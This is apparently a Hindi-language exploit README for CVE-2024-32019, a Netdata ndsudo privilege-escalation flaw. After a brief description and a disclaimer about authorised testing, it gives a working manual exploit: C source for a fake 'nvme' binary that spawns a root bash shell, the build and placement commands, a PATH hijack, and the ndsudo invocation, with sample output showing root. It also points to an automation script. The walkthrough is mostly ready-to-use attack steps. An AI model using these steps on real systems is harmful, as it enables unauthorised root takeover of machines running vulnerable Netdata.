
CVE-2024-32019 Netdata (संस्करण >= 1.44.0-60 < 1.45.3) में एक उच्च-गंभीरता वाली स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो ndsudo SUID बाइनरी में PATH वेरिएबल के असुरक्षित उपयोग के कारण होती है, जिससे हमलावर रूट के रूप में मनमाने कमांड निष्पादित कर सकते हैं।
ndsudo PATH भेद्यता शोषण (LPE से रूट)एक Python-आधारित शोषण CVE-2024-32019 के लिए, जो Netdata Agent में एक उच्च-गंभीरता स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो एक गलत कॉन्फ़िगर किए गए SUID बाइनरी (ndsudo) का लाभ उठाता है जो PATH पर्यावरण चर को सुरक्षित रूप से संभालने में विफल रहता है।
[!Caution] यह कोड केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। इस उपकरण का उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।
CVE ID: CVE-2024-32019
CVSS स्कोर: 8.8 (उच्च)
खुलासा: 12 अप्रैल, 2024
घटक: Netdata Agent
प्रभावित संस्करण:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Netdata का ndsudo उपकरण एक SUID रूट बाइनरी है जो गैर-रूट उपयोगकर्ताओं की ओर से सुरक्षित रूप से सिस्टम कमांड (जैसे nvme) के एक सीमित सेट को निष्पादित करने के लिए है।
हालांकि, एक कार्यान्वयन दोष के कारण, यह कमांड बाइनरी को हल करते समय उपयोगकर्ता-नियंत्रित PATH वैरिएबल का सम्मान करता है। यदि कोई हमलावर PATH में हेरफेर करके एक लिखने योग्य निर्देशिका शामिल कर सकता है जिसमें एक दुर्भावनापूर्ण बाइनरी है, तो ndsudo इसे रूट विशेषाधिकारों के साथ निष्पादित करेगा — जिसके परिणामस्वरूप स्थानीय विशेषाधिकार वृद्धि होगी।
निम्नलिखित चरण दर्शाते हैं कि ndsudo में भेद्यता का मैन्युअल रूप से शोषण कैसे किया जाए।
निम्नलिखित C कोड को nvme.c के रूप में सहेजें:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH संशोधित करेंexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
यदि सफल होता है, तो आपको रूट शेल मिलेगा।
# whoami
root
यदि आपके पास SSH पहुंच है, तो आप इसे स्वचालित करने के लिए CVE-2024-32019-dbs.py का उपयोग कर सकते हैं।
